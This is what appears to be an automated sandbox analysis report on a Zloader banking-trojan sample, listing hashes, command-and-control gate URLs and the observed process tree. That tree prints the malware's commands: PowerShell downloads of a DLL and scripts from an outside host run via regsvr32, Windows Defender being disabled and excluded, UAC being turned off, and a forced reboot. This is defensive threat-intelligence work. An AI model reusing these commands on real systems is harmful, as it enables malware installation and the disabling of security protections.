zloader | 892ec03552cca2c62495e661fda9bfd113009f2d9b0a07c2b13d9f047953cb2f

Analysis

max time kernel
65s
max time network
156s
platform
windows10_x64
resource
win10v20210408
submitted
09/08/2021, 04:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3740851312af7f75741d950015901cb7.exe
Size 165KB
Sample210809-b2cr9gel5n
SHA256 892ec03552cca2c62495e661fda9bfd113009f2d9b0a07c2b13d9f047953cb2f
MD5 3740851312af7f75741d950015901cb7
SHA1 f80ae1f66de60f5c42cfbc555be1dfb291cd6d5a
SHA512 e3c2a268e86521510e97b719e94ea64cfd4b716bcbd2eed7d896598d694a8cb5445e53f70fc0fcf4863c550bb0b3381b610a10477254febc1d45ef90607eefce
MD5 SHA1 SHA512

Score

10^/10

zloader vasja vasja botnet persistence trojan

Malware Config

Extracted

Family

zloader

Botnet

vasja

Campaign

vasja

https://iqowijsdakm.com/gate.php
https://wiewjdmkfjn.com/gate.php
https://dksaoidiakjd.com/gate.php
https://iweuiqjdakjd.com/gate.php
https://yuidskadjna.com/gate.php
https://olksmadnbdj.com/gate.php
https://odsakmdfnbs.com/gate.php
https://odsakjmdnhsaj.com/gate.php
https://odjdnhsaj.com/gate.php
https://odoishsaj.com/gate.php

rc4.plain

rsa_pubkey.plain

Signatures

Zloader, Terdot, DELoader, ZeusSphinx
Zloader is a malware strain that was initially discovered back in August 2015.
trojan botnet zloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1568	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
2556	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	3740851312af7f75741d950015901cb7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	3740851312af7f75741d950015901cb7.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1568	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 580 wrote to memory of 1156	580	3740851312af7f75741d950015901cb7.exe	74
PID 580 wrote to memory of 1156	580	3740851312af7f75741d950015901cb7.exe	74
PID 1156 wrote to memory of 1568	1156	cmd.exe	76
PID 1156 wrote to memory of 1568	1156	cmd.exe	76
PID 1156 wrote to memory of 2288	1156	cmd.exe	78
PID 1156 wrote to memory of 2288	1156	cmd.exe	78
PID 2288 wrote to memory of 2556	2288	regsvr32.exe	79
PID 2288 wrote to memory of 2556	2288	regsvr32.exe	79
PID 2288 wrote to memory of 2556	2288	regsvr32.exe	79

C:\Users\Admin\AppData\Local\Temp\3740851312af7f75741d950015901cb7.exe
"C:\Users\Admin\AppData\Local\Temp\3740851312af7f75741d950015901cb7.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:580
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c start.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1568
- - C:\Windows\system32\regsvr32.exe
    regsvr32 JavaE.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2288
  - - C:\Windows\SysWOW64\regsvr32.exe
      JavaE.dll
      4⤵
      Loads dropped DLL
      PID:2556
    - - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe
        5⤵
        
        PID:2564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat
    3⤵
    PID:3756
- - C:\Windows\system32\cmd.exe
    cmd /c nsudo.bat
    3⤵
    PID:2700
  - - C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      4⤵
      PID:2576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/javase.exe -OutFile javase.exe
      4⤵
      PID:1448
  - - C:\Users\Admin\AppData\Roaming\javase.exe
      javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
      4⤵
      PID:2144
  - - C:\Users\Admin\AppData\Roaming\javase.exe
      javase -U:T sc config WinDefend start= disabled
      4⤵
      PID:3932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionProcess '"C:\Users\Admin\AppData\Roaming'"
      4⤵
      PID:904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionProcess "regsvr32""
      4⤵
      PID:3172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionProcess ".exe""
      4⤵
      PID:2076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionProcess "iexplorer.exe""
      4⤵
      PID:1000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionProcess "explorer.exe""
      4⤵
      PID:2576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionProcess ".dll""
      4⤵
      PID:4020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/autorun100.bat -OutFile autorun100.bat
      4⤵
      PID:736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
      4⤵
      PID:2708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -PUAProtection disable"
      4⤵
      PID:516
  - - C:\Windows\system32\shutdown.exe
      shutdown.exe /r /f /t 00
      4⤵
      PID:2212

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3ad1055 /state1:0x41c64e6d
1⤵
PID:3996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/516-497-0x000002B85C9D3000-0x000002B85C9D5000-memory.dmp

Download

memory/516-528-0x000002B85C9D8000-0x000002B85C9D9000-memory.dmp

Download

memory/516-496-0x000002B85C9D0000-0x000002B85C9D2000-memory.dmp

Download

memory/516-525-0x000002B85C9D6000-0x000002B85C9D8000-memory.dmp

Download

memory/736-459-0x000001AB87F80000-0x000001AB87F82000-memory.dmp

Download

memory/736-460-0x000001AB87F83000-0x000001AB87F85000-memory.dmp

Download

memory/736-461-0x000001AB87F86000-0x000001AB87F88000-memory.dmp

Download

memory/904-218-0x0000014F74D06000-0x0000014F74D08000-memory.dmp

Download

memory/904-217-0x0000014F74D03000-0x0000014F74D05000-memory.dmp

Download

memory/904-216-0x0000014F74D00000-0x0000014F74D02000-memory.dmp

Download

memory/1000-361-0x000001E748798000-0x000001E748799000-memory.dmp

Download

memory/1000-344-0x000001E748796000-0x000001E748798000-memory.dmp

Download

memory/1000-342-0x000001E748793000-0x000001E748795000-memory.dmp

Download

memory/1000-341-0x000001E748790000-0x000001E748792000-memory.dmp

Download

memory/1448-197-0x000001DD9DD36000-0x000001DD9DD38000-memory.dmp

Download

memory/1448-186-0x000001DD9DD33000-0x000001DD9DD35000-memory.dmp

Download

memory/1448-185-0x000001DD9DD30000-0x000001DD9DD32000-memory.dmp

Download

memory/1568-134-0x000002AFFBC86000-0x000002AFFBC88000-memory.dmp

Download

memory/1568-125-0x000002AFFC8B0000-0x000002AFFC8B1000-memory.dmp

Download

memory/1568-121-0x000002AFFBC00000-0x000002AFFBC01000-memory.dmp

Download

memory/1568-132-0x000002AFFBC80000-0x000002AFFBC82000-memory.dmp

Download

memory/1568-133-0x000002AFFBC83000-0x000002AFFBC85000-memory.dmp

Download

memory/2076-296-0x000002D849553000-0x000002D849555000-memory.dmp

Download

memory/2076-297-0x000002D849556000-0x000002D849558000-memory.dmp

Download

memory/2076-321-0x000002D849558000-0x000002D849559000-memory.dmp

Download

memory/2076-295-0x000002D849550000-0x000002D849552000-memory.dmp

Download

memory/2556-144-0x0000000010000000-0x0000000010155000-memory.dmp

Download

memory/2556-143-0x0000000002CE0000-0x0000000002CE1000-memory.dmp

Download

memory/2564-164-0x0000000001000000-0x0000000001026000-memory.dmp

Download

memory/2576-399-0x0000027653FF6000-0x0000027653FF8000-memory.dmp

Download

memory/2576-376-0x0000027653FF3000-0x0000027653FF5000-memory.dmp

Download

memory/2576-408-0x0000027653FF8000-0x0000027653FF9000-memory.dmp

Download

memory/2576-374-0x0000027653FF0000-0x0000027653FF2000-memory.dmp

Download

memory/2708-495-0x0000027164556000-0x0000027164558000-memory.dmp

Download

memory/2708-479-0x0000027164550000-0x0000027164552000-memory.dmp

Download

memory/2708-480-0x0000027164553000-0x0000027164555000-memory.dmp

Download

memory/3172-279-0x000001142FCA6000-0x000001142FCA8000-memory.dmp

Download

memory/3172-255-0x000001142FCA0000-0x000001142FCA2000-memory.dmp

Download

memory/3172-256-0x000001142FCA3000-0x000001142FCA5000-memory.dmp

Download

memory/3172-281-0x000001142FCA8000-0x000001142FCA9000-memory.dmp

Download

memory/3756-166-0x0000021A87C13000-0x0000021A87C15000-memory.dmp

Download

memory/3756-172-0x0000021A87C16000-0x0000021A87C18000-memory.dmp

Download

memory/3756-165-0x0000021A87C10000-0x0000021A87C12000-memory.dmp

Download

memory/4020-444-0x000001E22A278000-0x000001E22A279000-memory.dmp

Download

memory/4020-421-0x000001E22A276000-0x000001E22A278000-memory.dmp

Download

memory/4020-410-0x000001E22A273000-0x000001E22A275000-memory.dmp

Download

memory/4020-409-0x000001E22A270000-0x000001E22A272000-memory.dmp

Download